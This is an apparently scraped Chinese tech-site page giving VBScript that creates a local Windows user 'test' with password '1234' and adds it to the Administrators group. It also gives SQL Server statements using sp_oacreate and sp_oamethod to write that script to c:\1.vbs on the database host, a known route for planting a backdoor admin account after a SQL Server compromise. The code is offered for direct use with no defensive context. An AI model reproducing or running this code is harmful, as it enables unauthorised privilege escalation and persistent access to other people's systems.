当前位置： 移动技术网 > IT编程>脚本编程>VBScript > vbs加administrator用户的代码

vbs加administrator用户的代码

2017年12月12日  | 移动技术网IT编程  | 我要评论

翻墙网页,广告设计网,黄山市民网


set wsnetwork=createobject("wscript.network")
os="winnt://"&wsnetwork.computername
set ob=getobject(os) '得到adsi接口,绑定
set oe=getobject(os&"/administrators,group") '属性,admin组
set od=ob.create("user","test") '建立用户
od.setpassword "1234" '设置密码
od.setinfo '保存
set of=getobject(os&"/test",user) '得到用户
oe.add os&"/test"

sql语句如下，采用sp_oamethod过程：

declare @o int, @f int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', null,'set wsnetwork=createobject
("wscript.network")'
exec @ret = sp_oamethod @f, 'writeline', null,'os="winnt://"&wsnetwork.
computername'
exec @ret = sp_oamethod @f, 'writeline', null,'set ob=getobject(os)'
exec @ret = sp_oamethod @f, 'writeline', null,'set oe=getobject
(os&"/administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', null,'set od=ob.create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', null,'od.setpassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', null,'od.setinfo '
exec @ret = sp_oamethod @f, 'writeline', null,'set of=getobject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', null,'oe.add os&"/test"'

您可能感兴趣的文章:

如对本文有疑问，请在下面进行留言讨论，广大热心网友会与你互动！！ 点击进行留言回复

相关文章:

验证码：
最近更新的文章
大家感兴趣的文章
移动技术网